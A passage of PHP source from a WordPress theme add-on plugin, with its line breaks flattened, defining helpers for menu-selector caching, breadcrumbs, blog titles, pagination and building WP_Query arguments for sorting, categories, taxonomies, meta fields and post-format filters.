$args->menu_class ); } else if ( preg_match_all( '/<ul[^>]+class=[\'"]([^\'"]+)[\'"]/i', $html, $matches ) && ! empty( $matches[1][0] ) ) { $menu_class = trim( $matches[1][0] ); } if ( ! empty( $menu_class ) ) { $menu_class = join( '.', array_map( 'trim', explode( ' ', trim( $matches[1][0] ) ) ) ); } } if ( ! empty( $menu_id ) \|\| ! empty( $menu_class ) ) { global $TRX_ADDONS_STORAGE; if ( ! isset( $TRX_ADDONS_STORAGE['menu_cache'] ) ) { $TRX_ADDONS_STORAGE['menu_cache'] = array(); } $TRX_ADDONS_STORAGE['menu_cache'][] = ! empty( $menu_id ) ? '#' . esc_attr( $menu_id ) : '.' . esc_attr( $menu_class ); } return $html; } } if ( ! function_exists( 'trx_addons_add_menu_cache_to_js' ) ) { add_filter( 'trx_addons_filter_localize_script', 'trx_addons_add_menu_cache_to_js' ); /* * Add selectors of menus in the cache to js-vars * * @hooked trx_addons_filter_localize_script * * @param array $vars JS-vars * * @return array JS-vars / function trx_addons_add_menu_cache_to_js( $vars ) { global $TRX_ADDONS_STORAGE; $vars['menu_cache'] = apply_filters( 'trx_addons_filter_menu_cache', ! empty( $TRX_ADDONS_STORAGE['menu_cache'] ) ? $TRX_ADDONS_STORAGE['menu_cache'] : array() ); return $vars; } } if ( ! function_exists( 'trx_addons_widget_nav_menu_args' ) ) { add_filter( 'widget_nav_menu_args', 'trx_addons_widget_nav_menu_args', 10, 4 ); /* * Set a menu option to clear class 'sc_layouts_menu_nav' from cached menu * * @hooked widget_nav_menu_args * * @param array $nav_menu_args Menu args * @param object $nav_menu Menu object * @param array $args Menu args * @param array $instance Menu instance * * @return array Menu args / function trx_addons_widget_nav_menu_args( $nav_menu_args, $nav_menu, $args, $instance ) { $nav_menu_args['clear_sc_layouts_classes'] = true; return $nav_menu_args; } } if ( ! function_exists( 'trx_addons_clear_menu_cache' ) ) { add_action( 'wp_update_nav_menu', 'trx_addons_clear_menu_cache', 10, 2 ); /* * Clear menu cache after update menu. * DEPRECATED in 1.87.0, because it's not used anymore - menu cache is cleared in the 'trx_addons_cache_clear_on_save_menu' hook * * @hooked wp_update_nav_menu * * @param int $menu_id Menu ID * @param array $menu_data Menu data / function trx_addons_clear_menu_cache( $menu_id = 0, $menu_data = array() ) { delete_transient( 'trx_addons_menu_' . get_stylesheet() ); } } / Breadcrumbs ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_action_breadcrumbs') ) { add_action( 'trx_addons_action_breadcrumbs', 'trx_addons_action_breadcrumbs', 10, 1 ); /* * Show breadcrumbs path on action 'trx_addons_action_breadcrumbs' * * @hooked trx_addons_action_breadcrumbs * * @param array $args An array with arguments for breadcrumbs / function trx_addons_action_breadcrumbs( $args = array() ) { trx_addons_get_template_part( 'templates/tpl.breadcrumbs.php', 'trx_addons_args_show_breadcrumbs', $args ); } } if ( ! function_exists( 'trx_addons_get_breadcrumbs' ) ) { /* * Return breadcrumbs path * * @param array $args Parameters * * @return string HTML with breadcrumbs / function trx_addons_get_breadcrumbs( $args = array() ) { global $wp_query, $post; $args = array_merge( array( 'home' => esc_html__('Home', 'trx_addons'), // Home page title (if empty - not showed) 'home_link' => '', // Home page link 'truncate_title' => 50, // Truncate all titles to this length (if 0 - no truncate) 'truncate_add' => '...', // Append truncated title with this string 'delimiter' => '<span class="breadcrumbs_delimiter"></span>', // Delimiter between breadcrumbs items 'max_levels' => trx_addons_get_option( 'breadcrumbs_max_level', 0 ) // Max items in the path (0 - unlimited) ), is_array($args) ? $args : array( 'home' => $args ) ); if ( is_front_page() ) { // \|\| is_home() return ''; } if ( (int)$args['truncate_title'] <= 0 ) { $args['truncate_title'] = 999; } if ( (int)$args['max_levels'] <= 0 ) { $args['max_levels'] = 999; } $level = 1 + ( isset( $args['home'] ) && $args['home'] != '' ? 1 : 0 ); // Current element + Home $rez = $rez_all = $rez_parent = $rez_level = ''; // Get link to the 'All posts (products, events, etc.)' page if ( $level > $args['max_levels'] ) { $rez_level = '<span class="breadcrumbs_item">...</span>'; } else { $rez_all = apply_filters( 'trx_addons_filter_get_blog_all_posts_link', '', $args ); if ( ! empty( $rez_all ) && $rez_all != '#' ) { // All posts $level++; } } $cat = $parent_tax = ''; $parent = $post_id = 0; // Get current post ID and path to current post/page/attachment ( if it have parent posts/pages ) if ( is_page() \|\| is_attachment() \|\| trx_addons_is_single() ) { $page_parent_id = apply_filters( 'trx_addons_filter_get_parent_id', isset($wp_query->post->post_parent) ? $wp_query->post->post_parent : 0, isset($wp_query->post->ID) ? $wp_query->post->ID : 0 ); $post_id = ( is_attachment() ? $page_parent_id : ( isset( $wp_query->post->ID ) ? $wp_query->post->ID : 0 ) ); while ( $page_parent_id > 0 ) { $page_parent = get_post( $page_parent_id ); if ( $level > $args['max_levels'] ) { $rez_level = '<span class="breadcrumbs_item">...</span>'; } else { $rez_parent = '<a class="breadcrumbs_item cat_post" href="' . esc_url(get_permalink($page_parent_id)) . '">' . wp_kses_data( trx_addons_strshort( $page_parent->post_title, $args['truncate_title'], $args['truncate_add'] ) ) . '</a>' . ( ! empty( $rez_parent ) ? $args['delimiter'] : '' ) . $rez_parent; $level++; } if ( ( $page_parent_id = apply_filters('trx_addons_filter_get_parent_id', $page_parent->post_parent, $page_parent_id ) ) > 0 ) { $post_id = $page_parent_id; } } } // Show parents $step = 0; do { if ( $step++ == 0 ) { if ( trx_addons_is_single() \|\| is_attachment() ) { $post_type = get_post_type(); if ( $post_type == 'post' ) { $cats = get_the_category(); $cat = ! empty( $cats[0] ) ? $cats[0] : false; } else { $tax = trx_addons_get_post_type_taxonomy( $post_type ); if ( ! empty( $tax ) ) { $cats = get_the_terms( get_the_ID(), $tax ); $cat = ! empty( $cats[0] ) ? $cats[0] : false; } } if ( $cat ) { if ( $level >= $args['max_levels'] ) { $rez_level = '<span class="breadcrumbs_item">...</span>'; } else { $rez_parent = '<a class="breadcrumbs_item cat_post" href="'.esc_url(get_term_link($cat->term_id, $cat->taxonomy)).'">' . apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat ) . '</a>' . ( ! empty( $rez_parent ) ? $args['delimiter'] : '' ) . $rez_parent; $level++; } } } else if ( is_category() ) { $cat_id = (int)get_query_var( 'cat' ); if ( empty( $cat_id ) ) { $cat_id = get_query_var( 'category_name' ); } $cat = get_term_by( is_numeric( $cat_id ) && (int) $cat_id > 0 ? 'id' : 'slug', $cat_id, 'category', OBJECT); } else if ( is_tag() ) { $cat = get_term_by( 'slug', get_query_var( 'post_tag' ), 'post_tag', OBJECT); } else if ( is_tax() ) { $cat = $wp_query->get_queried_object(); } if ( $cat ) { $parent = $cat->parent; $parent_tax = $cat->taxonomy; } } if ( $parent ) { $cat = get_term_by( 'id', $parent, $parent_tax, OBJECT); if ( $cat ) { $cat_link = get_term_link($cat->slug, $cat->taxonomy); if ( $level > $args['max_levels'] ) { $rez_level = '<span class="breadcrumbs_item">...</span>'; } else { $rez_parent = '<a class="breadcrumbs_item cat_parent" href="'.esc_url($cat_link).'">' . apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat ) . '</a>' . ( ! empty( $rez_parent ) ? $args['delimiter'] : '' ) . $rez_parent; $level++; } $parent = $cat->parent; } } } while ($parent); $rez_parent = apply_filters('trx_addons_filter_get_parents_links', $rez_parent, $args); $rez_period = ''; if ( ( is_day() \|\| is_month() ) && is_object( $post ) ) { $year = get_the_time('Y'); $month = get_the_time('m'); $rez_period = '<a class="breadcrumbs_item cat_parent" href="' . get_year_link( $year ) . '">' . ($year) . '</a>'; if ( is_day() ) { $rez_period .= ( ! empty( $rez_period ) ? $args['delimiter'] : '' ) . '<a class="breadcrumbs_item cat_parent" href="' . esc_url( get_month_link( $year, $month ) ) . '">' . esc_html( get_the_date('F') ) . '</a>'; } } if ( ! is_front_page() ) { // && !is_home() $title = trx_addons_get_blog_title(); if ( is_array( $title ) ) { $title = $title['text']; } $title = trx_addons_strshort( $title, $args['truncate_title'], $args['truncate_add'] ); $rez .= ( isset( $args['home'] ) && $args['home'] != '' ? '<a class="breadcrumbs_item home" href="' . esc_url( $args['home_link'] ? $args['home_link'] : home_url('/') ) . '">' . $args['home'] . '</a>' . $args['delimiter'] : '') . ( ! empty( $rez_all ) && $rez_all != '#' ? $rez_all . $args['delimiter'] : '' ) . ( ! empty( $rez_level ) ? $rez_level . $args['delimiter'] : '' ) . ( ! empty( $rez_parent ) ? $rez_parent . $args['delimiter'] : '' ) . ( ! empty( $rez_period ) ? $rez_period . $args['delimiter'] : '' ) . ( ! empty( $title ) ? '<span class="breadcrumbs_item current">' . wp_kses_data( $title ) . '</span>' : '' ); } return apply_filters( 'trx_addons_filter_get_breadcrumbs', $rez ); } } if ( ! function_exists( 'trx_addons_get_blog_all_posts_link' ) ) { add_filter( 'trx_addons_filter_get_blog_all_posts_link', 'trx_addons_get_blog_all_posts_link', 10, 2 ); /* * Return link to the all posts page for the breadcrumbs * * @hooked trx_addons_filter_get_blog_all_posts_link * * @param string $link Link to the all posts page * @param array $args Breadcrumbs args * * @return string Link to the all posts page / function trx_addons_get_blog_all_posts_link( $link = '', $args = array() ) { if ( $link == '' ) { if ( trx_addons_is_posts_page() && ! is_home() ) { // ! is_post_type_archive( 'post' ) if ( ( $url = get_post_type_archive_link( 'post' ) ) != '' ) { $obj = get_post_type_object( 'post' ); $link = '<a class="breadcrumbs_item all_posts" href="' . esc_url( $url ) . '">' . esc_html( $obj->labels->all_items ) . '</a>'; } } } return $link; } } if ( ! function_exists( 'trx_addons_is_posts_page' ) ) { /* * Check if it's posts page * * @return bool / function trx_addons_is_posts_page() { return ! is_search() && ( ( trx_addons_is_single() && get_post_type() == 'post' ) \|\| is_category() \|\| is_tag() ); } } if ( ! function_exists( 'trx_addons_cpt_custom_get_blog_all_posts_link' ) ) { add_filter('trx_addons_filter_get_blog_all_posts_link', 'trx_addons_cpt_custom_get_blog_all_posts_link', 1000, 2); /* * Return link to the 'All posts' for CPT in the breadcrumbs * * @hooked trx_addons_filter_get_blog_all_posts_link * * @param string $link Link to the all posts page * @param array $args Breadcrumbs args * * @return string Link to the all posts page / function trx_addons_cpt_custom_get_blog_all_posts_link( $link = '', $args = array() ) { if ( $link == '' && ! is_search() ) { $pt = ''; if ( trx_addons_is_single() ) { $pt = get_post_type(); } else { $obj = get_queried_object(); if ( ! empty( $obj->taxonomy ) ) { $tax = get_taxonomy( $obj->taxonomy ); if ( ! empty( $tax->object_type[0] ) ) { $pt = $tax->object_type[0]; } } } if ( ! empty( $pt ) ) { $obj = get_post_type_object( $pt ); if ( ( $url = get_post_type_archive_link( $pt ) ) != '' ) { $link = '<a class="breadcrumbs_item all_posts" href="' . esc_url( $url ) . '">' . esc_html( $obj->labels->all_items ) . '</a>'; } } } return $link; } } if ( ! function_exists('trx_addons_get_blog_title') ) { /* * Return text for the blog title * * @return string / function trx_addons_get_blog_title() { if ( is_front_page() ) { $title = esc_html__( 'Home', 'trx_addons' ); } else if ( is_home() ) { $title = get_option( 'page_for_posts' ) == get_queried_object_id() ? get_the_title( get_queried_object_id() ) : esc_html__( 'All Posts', 'trx_addons' ); } else if ( is_author() ) { $curauth = get_query_var( 'author_name' ) ? get_user_by( 'slug', get_query_var( 'author_name' ) ) : get_userdata( get_query_var( 'author' ) ); $title = sprintf( esc_html__( 'Author page: %s', 'trx_addons' ), $curauth->display_name ); } else if ( is_404() ) { $title = esc_html__( 'URL not found', 'trx_addons' ); } else if ( is_search() ) { $title = sprintf( esc_html__( 'Search: %s', 'trx_addons' ), get_search_query() ); } else if ( is_day() ) { $title = sprintf( esc_html__( 'Daily Archives: %s', 'trx_addons' ), get_the_date() ); } else if ( is_month() ) { $title = sprintf( esc_html__( 'Monthly Archives: %s', 'trx_addons' ), get_the_date( 'F Y' ) ); } else if ( is_year() ) { $title = sprintf( esc_html__( 'Yearly Archives: %s', 'trx_addons' ), get_the_date( 'Y' ) ); } else if ( is_category() ) { $title = sprintf( esc_html__( '%s', 'trx_addons' ), single_cat_title( '', false ) ); } else if ( is_tag() ) { $title = sprintf( esc_html__( 'Tag: %s', 'trx_addons' ), single_tag_title( '', false ) ); } else if ( is_tax() ) { $title = single_term_title( '', false ); } else if ( is_post_type_archive() ) { $obj = get_queried_object(); $title = ! empty( $obj->labels->all_items ) ? $obj->labels->all_items : ( ! empty( $obj->post_title ) ? $obj->post_title : '' ); } else if ( is_attachment() ) { $title = sprintf( esc_html__( 'Attachment: %s', 'trx_addons' ), get_the_title() ); } else if ( trx_addons_is_single() \|\| is_page() ) { $title = get_the_title(); } else if ( trx_addons_is_preview() ) { // Default title to display it inside page builders $title = esc_html__( 'Page (post) title', 'trx_addons' ); } else { $title = get_the_title(); // get_bloginfo('name', 'raw'); } return apply_filters( 'trx_addons_filter_get_blog_title', $title ); } } / Blog pagination ------------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_show_pagination' ) ) { /* * Display pagination with a specified style * * @param string $pagination Pagination style: 'pages' - standard WP pagination, 'links' - next/prev links / function trx_addons_show_pagination( $pagination = 'pages' ) { global $wp_query; // Page numbers if ( $pagination == 'pages' ) { trx_addons_show_layout( str_replace( "\n", '', get_the_posts_pagination( apply_filters( 'trx_addons_filter_get_the_posts_pagination_args', array( 'mid_size' => 2, 'prev_text' => esc_html__( '<', 'trx_addons' ), 'next_text' => esc_html__( '>', 'trx_addons' ), 'before_page_number' => '<span class="meta-nav screen-reader-text">' . esc_html__( 'Page', 'trx_addons' ) . ' </span>', ) ) ) ) ); // Prev/Next links } else if ($pagination == 'links') { ?> <div class="nav-links-old"> <span class="nav-prev"><?php previous_posts_link( is_search() ? esc_html__('Previous posts', 'trx_addons') : esc_html__('Newest posts', 'trx_addons') ); ?></span> <span class="nav-next"><?php next_posts_link( is_search() ? esc_html__('Next posts', 'trx_addons') : esc_html__('Older posts', 'trx_addons'), $wp_query->max_num_pages ); ?></span> </div> <?php } } } if ( ! function_exists('trx_addons_pagination') ) { /* * Display pagination with group pages: [1-10][11-20]...[24][25][26]...[31-40][41-45] * * @param array $args - array of parameters / function trx_addons_pagination( $args = array() ) { $args = array_merge(array( 'class' => '', // Additional 'class' attribute for the pagination section 'button_class' => '', // Additional 'class' attribute for the each page button 'base_link' => '', // Base link for each page. If specified - all pages use it and add '&page=XX' to the end of this link. Else - use get_pagenum_link() 'total_posts' => 0, // Total posts number 'posts_per_page' => 0, // Posts per page 'total_pages' => 0, // Total pages (instead total_posts, otherwise - calculate number of pages) 'cur_page' => 0, // Current page 'near_pages' => 2, // Number of pages to be displayed before and after the current page 'group_pages' => 10, // How many pages in group 'pages_text' => '', //__('Page %CURRENT_PAGE% of %TOTAL_PAGES%', 'trx_addons'), 'cur_text' => "%PAGE_NUMBER%", 'page_text' => "%PAGE_NUMBER%", 'first_text'=> __('« First', 'trx_addons'), 'last_text' => __("Last »", 'trx_addons'), 'prev_text' => __("« Prev", 'trx_addons'), 'next_text' => __("Next »", 'trx_addons'), 'dot_text' => "…", 'before' => '', 'after' => '' ), is_array( $args ) ? $args : ( is_int($args) ? array( 'cur_page' => $args ) // If a number parameter received - use it as offset : array( 'class' => $args ) // If a string parameter received - use it as 'class' name ) ); if ( empty( $args['before'] ) ) $args['before'] = '<div class="trx_addons_pagination'.(!empty($args['class']) ? ' '.$args['class'] : '').'">'; if ( empty( $args['after'] ) ) $args['after'] = '</div>'; extract($args); global $wp_query; // Detect total pages if ( $total_pages == 0 ) { if ( $total_posts == 0 ) $total_posts = $wp_query->found_posts; if ( $posts_per_page == 0 ) $posts_per_page = (int) get_query_var('posts_per_page'); $total_pages = ceil($total_posts / $posts_per_page); } if ( $total_pages < 2 ) return; // Detect current page if ( $cur_page == 0 ) { $cur_page = (int) get_query_var('paged'); if ( $cur_page == 0 ) $cur_page = (int) get_query_var('page'); if ( $cur_page <= 0 ) $cur_page = 1; } // Near pages $show_pages_start = $cur_page - $near_pages; $show_pages_end = $cur_page + $near_pages; // Current group $cur_group = ceil($cur_page / $group_pages); $output = $before; // Page XX from XXX if ($pages_text) { $pages_text = str_replace( array("%CURRENT_PAGE%", "%TOTAL_PAGES%"), array(number_format_i18n($cur_page),number_format_i18n($total_pages)), $pages_text); $output .= '<span class="'.esc_attr($class).'_pages '.$button_class.'">' . $pages_text . '</span>'; } if ($cur_page > 1) { // First page $first_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $first_text); $output .= '<a href="'.esc_url($base_link ? $base_link.'&page=1' : get_pagenum_link()).'" data-page="1" class="'.esc_attr($class).'_first '.$button_class.'">'.$first_text.'</a>'; // Prev page $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page-1) : get_pagenum_link($cur_page-1)).'" data-page="'.esc_attr($cur_page-1).'" class="'.esc_attr($class).'_prev '.$button_class.'">'.$prev_text.'</a>'; } // Page buttons $group = 1; $dot1 = $dot2 = false; for ($i = 1; $i <= $total_pages; $i++) { if ($i % $group_pages == 1) { $group = ceil($i / $group_pages); if ($group != $cur_group) $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.$i : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.esc_attr($class).'_group '.$button_class.'">'.$i.'-'.min($i+$group_pages-1, $total_pages).'</a>'; } if ($group == $cur_group) { if ($i < $show_pages_start) { if (!$dot1) { $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_start-1) : get_pagenum_link($show_pages_start-1)).'" data-page="'.esc_attr($show_pages_start-1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>'; $dot1 = true; } } else if ($i > $show_pages_end) { if (!$dot2) { $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_end+1) : get_pagenum_link($show_pages_end+1)).'" data-page="'.esc_attr($show_pages_end+1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>'; $dot2 = true; } } else if ($i == $cur_page) { $cur_text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $cur_text); $output .= '<span class="'.esc_attr($class).'_current active '.$button_class.'">'.$cur_text.'</span>'; } else { $text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $page_text); $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($i) : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.$button_class.'">'.$text.'</a>'; } } } if ($cur_page < $total_pages) { // Next page $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page+1) : get_pagenum_link($cur_page+1)).'" data-page="'.esc_attr($cur_page+1).'" class="'.esc_attr($class).'_next '.$button_class.'">'.$next_text.'</a>'; // Last page $last_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $last_text); $output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($total_pages) : get_pagenum_link($total_pages)).'" data-page="'.esc_attr($total_pages).'" class="'.esc_attr($class).'_last '.$button_class.'">'.$last_text.'</a>'; } $output .= $after; trx_addons_show_layout($output); } } if ( ! function_exists('trx_addons_get_current_page') ) { /* * Return current page number from GET or POST parameter 'page' or query vars 'paged' or 'page' * * @return int Current page number / function trx_addons_get_current_page() { if ( ( $page = trx_addons_get_value_gp( 'page', -999 ) ) == -999 ) { if ( ! ( $page = get_query_var( 'paged' ) ) ) { if ( ! ( $page = get_query_var( 'page' ) ) ) { $page = 1; } } } return $page; } } if ( ! function_exists('trx_addons_get_the_ID') ) { /* * Return current post ID * * @return int Current post ID / function trx_addons_get_the_ID() { global $wp_query; return trx_addons_in_the_loop() ? get_the_ID() : ( ! empty( $wp_query->post->ID ) ? $wp_query->post->ID : ( trx_addons_is_singular() && ! empty( $wp_query->queried_object->ID ) ? $wp_query->queried_object->ID : 0 ) ); } } if ( ! function_exists('trx_addons_in_the_loop') ) { /* * Check if current post/page is inside the loop * * @return bool / function trx_addons_in_the_loop() { $rez = in_the_loop(); if ( ! $rez ) { global $TRX_ADDONS_STORAGE; if ( ! empty( $TRX_ADDONS_STORAGE['sc_list'] ) && is_array( $TRX_ADDONS_STORAGE['sc_list'] ) ) { foreach ( $TRX_ADDONS_STORAGE['sc_list'] as $sc => $params ) { if ( ! empty( $params['post_loop'] ) ) { $rez = trx_addons_sc_stack_check( "trx_sc_{$sc}", true ); // Check if last stack element is post_loop shoctcode if ( $rez ) { break; } } } } if ( ! $rez && ! empty( $TRX_ADDONS_STORAGE['cpt_list'] ) && is_array( $TRX_ADDONS_STORAGE['cpt_list'] ) ) { foreach ( $TRX_ADDONS_STORAGE['cpt_list'] as $sc => $params ) { if ( ! empty( $params['post_loop'] ) ) { $rez = trx_addons_sc_stack_check( "trx_sc_{$sc}", true ); // Check if last stack element is post_loop shoctcode if ( $rez ) { break; } } } } } return $rez; } } if ( ! function_exists( 'trx_addons_is_singular' ) ) { /* * Check if current mode is 'singular' * * @param string $type Post type * * @return bool True if current mode is 'singular' for specified post type / function trx_addons_is_singular( $type = '' ) { global $wp_query; return apply_filters( 'trx_addons_filter_is_singular', ! empty( $wp_query->queried_object->ID ) && is_singular( $type ), $type ); // did_action( 'wp_loaded' ) && } } if ( ! function_exists( 'trx_addons_is_single' ) ) { /* * Check if current mode is 'single' * * @return bool True if current mode is 'single' / function trx_addons_is_single() { global $wp_query; return apply_filters( 'trx_addons_filter_is_single', ! empty( $wp_query->queried_object->ID ) && is_single() ); // did_action( 'wp_loaded' ) && } } / Query manipulations ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_query_add_sort_order') ) { /* * Add sorting parameter to query arguments * * @param array $args Query arguments * @param string $orderby Order by * @param string $order Order * * @return array Modified query arguments / function trx_addons_query_add_sort_order( $args, $orderby = 'date', $order = 'desc' ) { if ( ! empty( $orderby ) && ( empty( $args['orderby'] ) \|\| $orderby != 'none' ) ) { $q = apply_filters( 'trx_addons_filter_add_sort_order', array(), $orderby, $order ); $q['order'] = 'asc' == $order ? 'asc' : 'desc'; if ( empty( $q['orderby'] ) ) { if ($orderby == 'none') { $q['orderby'] = 'none'; } else if ($orderby == 'ID') { $q['orderby'] = 'ID'; } else if ($orderby == 'comments') { $q['orderby'] = 'comment_count'; } else if ($orderby == 'title' \|\| $orderby == 'alpha') { $q['orderby'] = 'title'; } else if ($orderby == 'rand' \|\| $orderby == 'random') { $q['orderby'] = 'rand'; } else if ($orderby == 'update' \|\| $orderby == 'post_update' \|\| $orderby == 'post_modified') { $q['orderby'] = 'post_modified'; } else { $q['orderby'] = 'post_date'; } } foreach ( $q as $mk => $mv ) { if ( is_array( $args ) ) { $args[ $mk ] = $mv; } else { $args->set( $mk, $mv ); } } } return apply_filters( 'trx_addons_filter_add_sort_order_args', $args, $orderby, $order ); } } if ( ! function_exists( 'trx_addons_query_sort_order_views_likes' ) ) { add_filter('trx_addons_filter_add_sort_order', 'trx_addons_query_sort_order_views_likes', 10, 3); /* * Add query parameters to sort posts by views or likes * * @hooked trx_addons_filter_add_sort_order * * @param array $q Query arguments * @param string $orderby Order by * @param string $order Order * * @return array Modified query arguments / function trx_addons_query_sort_order_views_likes( $q = array(), $orderby = 'date', $order = 'desc' ) { if ( 'views' == $orderby ) { $q['orderby'] = 'meta_value_num'; $q['meta_key'] = 'trx_addons_post_views_count'; } elseif ( 'likes' == $orderby ) { $q['orderby'] = 'meta_value_num'; $q['meta_key'] = 'trx_addons_post_likes_count'; } return $q; } } if ( ! function_exists('trx_addons_query_add_posts_and_cats') ) { /* * Add posts and categories parameters to query arguments * * @param array $args Query arguments * @param string $ids Comma separated list with posts IDs * @param mixed $post_type Post type * @param string $cat Comma separated list with categories slugs * @param string $taxonomy Taxonomy name * * @return array Modified query arguments / function trx_addons_query_add_posts_and_cats( $args, $ids = '', $post_type = '', $cat = '', $taxonomy = '' ) { if ( ! empty( $ids ) ) { $args['post_type'] = empty( $args['post_type'] ) // ( empty( $post_type ) ? 'any' : $post_type) ? 'any' : $args['post_type']; $args['post__in'] = explode( ',', str_replace( array( ';', ' ' ), array( ',', '' ), $ids ) ); if ( empty( $args['posts_per_page'] ) ) { $args['posts_per_page'] = count( $args['post__in'] ); } if ( empty( $args['orderby']) \|\| $args['orderby'] == 'none' ) { $args['orderby'] = 'post__in'; if ( isset( $args['order'] ) ) { unset( $args['order'] ); } } } else { $args['post_type'] = empty( $args['post_type'] ) \|\| ! empty( $post_type ) ? ( empty( $post_type ) ? 'post' : $post_type ) : $args['post_type']; $post_type = is_array( $args['post_type'] ) ? $args['post_type'][0] : $args['post_type']; if ( ! empty( $cat ) ) { $cats = ! is_array( $cat ) ? explode( ',', $cat ) : $cat; $cats = array_map( 'trim', $cats ); if ( empty( $taxonomy ) ) { $taxonomy = 'category'; } if ( $taxonomy == 'category' ) { // Add standard categories if ( is_array( $cats ) && count( $cats ) > 1 ) { $cats_ids = array(); foreach( $cats as $c ) { if ( empty( $c ) ) continue; if ( (int)$c == 0 ) { $cat_term = get_term_by( 'slug', $c, $taxonomy, OBJECT); if ( $cat_term ) { $c = $cat_term->term_id; } } if ( $c == 0 ) continue; $cats_ids[] = (int)$c; $children = get_categories( array( 'type' => $post_type, 'child_of' => $c, 'hide_empty' => 0, 'hierarchical' => 0, 'taxonomy' => $taxonomy, 'pad_counts' => false )); if ( is_array( $children ) && count( $children ) > 0 ) { foreach ( $children as $c ) { if ( ! in_array( (int)$c->term_id, $cats_ids ) ) { $cats_ids[] = (int)$c->term_id; } } } } if ( count( $cats_ids ) > 0 ) { $args['category__in'] = $cats_ids; } } else if ( ! empty( $cats ) ) { $cat = trx_addons_array_get_first_value( $cats ); if ( (int)$cat > 0 ) { $args['cat'] = (int)$cat; } else { $args['category_name'] = $cat; } } } else { $cat = trx_addons_array_get_first_value( $cats ); if ( ! empty( $cat ) ) { // Add custom taxonomies if ( ! isset( $args['tax_query'] ) ) { $args['tax_query'] = array(); } $args['tax_query']['relation'] = 'AND'; $args['tax_query'][] = array( 'taxonomy' => $taxonomy, 'include_children' => true, 'field' => (int) $cat > 0 ? 'id' : 'slug', 'terms' => $cats ); } } } } return $args; } } if ( ! function_exists('trx_addons_query_add_taxonomy') ) { /* * Add taxonomy parameters to the query arguments * * @param array $args query arguments * @param array $taxonomy taxonomy name or array of taxonomies * @param array $value taxonomy value or array of values * * @return array query arguments / function trx_addons_query_add_taxonomy( $args, $taxonomy = array(), $value = false ) { if ( ! is_array( $taxonomy ) ) { $value = ! is_array( $value ) ? explode( ',', $value ) : $value; $taxonomy = array( array( 'taxonomy' => $taxonomy, 'include_children' => true, 'field' => (int)$value[0] > 0 ? 'id' : 'slug', 'terms' => count( $value ) > 1 ? $value : $value[0] ) ); } foreach ( $taxonomy as $v ) { if ( ! isset( $args['tax_query'] ) ) { $args['tax_query'] = array(); $args['tax_query']['relation'] = 'AND'; } $args['tax_query'][] = $v; } return $args; } } if ( ! function_exists('trx_addons_query_add_meta') ) { /* * Add meta parameters to the query arguments * * @param array $args query arguments * @param array $meta meta name or array of metas * @param array $value meta value or array of values * * @return array query arguments / function trx_addons_query_add_meta( $args, $meta = array(), $value = false ) { if ( ! is_array( $meta ) ) { $value = explode( ',', $value ); if ( count( $value ) == 1 \|\| $value[0] == $value[1] ) { $value = $value[0]; } $meta = array( array( 'key' => $meta, 'value' => is_array( $value ) ? array_map( 'floatval', $value ) : $value, 'compare' => is_array( $value ) ? 'BETWEEN' : '=', 'type' => is_array( $value ) ? 'DECIMAL(14,3)' : 'CHAR' ) ); } foreach ( $meta as $v ) { if ( ! isset( $args['meta_query'] ) ) { $args['meta_query'] = array(); $args['meta_query']['relation'] = 'AND'; } $args['meta_query'][] = $v; } return $args; } } if ( ! function_exists('trx_addons_query_add_filters') ) { /* * Add filters (meta params) to the query arguments * * @param array $args query arguments * @param array $filters filters name or array of filters * * @return array query arguments / function trx_addons_query_add_filters( $args, $filters = false ) { if ( ! empty( $filters ) ) { if ( ! is_array( $filters ) ) { $filters = array( $filters ); } foreach ( $filters as $v ) { $found = false; if ( $v == 'thumbs' ) { // Filter with meta_query if ( ! isset( $args['meta_query'] ) ) { $args['meta_query'] = array(); } else { for ( $i = 0; $i < count( $args['meta_query'] ); $i++ ) { if ( $args['meta_query'][ $i ]['meta_filter'] == $v ) { $found = true; break; } } } if ( ! $found ) { $args['meta_query']['relation'] = 'AND'; if ( $v == 'thumbs' ) { $args['meta_query'][] = array( 'meta_filter' => $v, 'key' => '_thumbnail_id', 'value' => false, 'compare' => '!=' ); } } } else if ( in_array($v, array('video', 'audio', 'gallery')) ) { // Filter with tax_query if ( ! isset( $args['tax_query'] ) ) { $args['tax_query'] = array(); } else { for ( $i = 0; $i < count( $args['tax_query'] ); $i++ ) { if ( $args['tax_query'][ $i ]['tax_filter'] == $v ) { $found = true; break; } } } if ( ! $found ) { $args['tax_query']['relation'] = 'AND'; if ( $v == 'video' ) { $args['tax_query'][] = array( 'tax_filter' => $v, 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => array( 'post-format-video' ) ); } else if ( $v == 'audio' ) { $args['tax_query'] = array( 'tax_filter' => $v, 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => array( 'post-format-audio' ) ); } else if ( $v == 'gallery' ) { $args['tax_query'] = array( 'tax_filter' => $v, 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => array( 'post-format-gallery' ) ); } } } else { $args = apply_filters( 'trx_addons_filter_query_add_filters', $args, $v ); } } } return $args; } } if ( ! function_exists('trx_addons_get_post_categories') ) { /* * Return string with post's categories links * * @param string $delimiter delimiter between categories * @param int $id post ID. If not specified - get ID of the current post * @param bool $links true - show links, false - only names * * @return string categories list layout / function trx_addons_get_post_categories( $delimiter = ', ', $id = 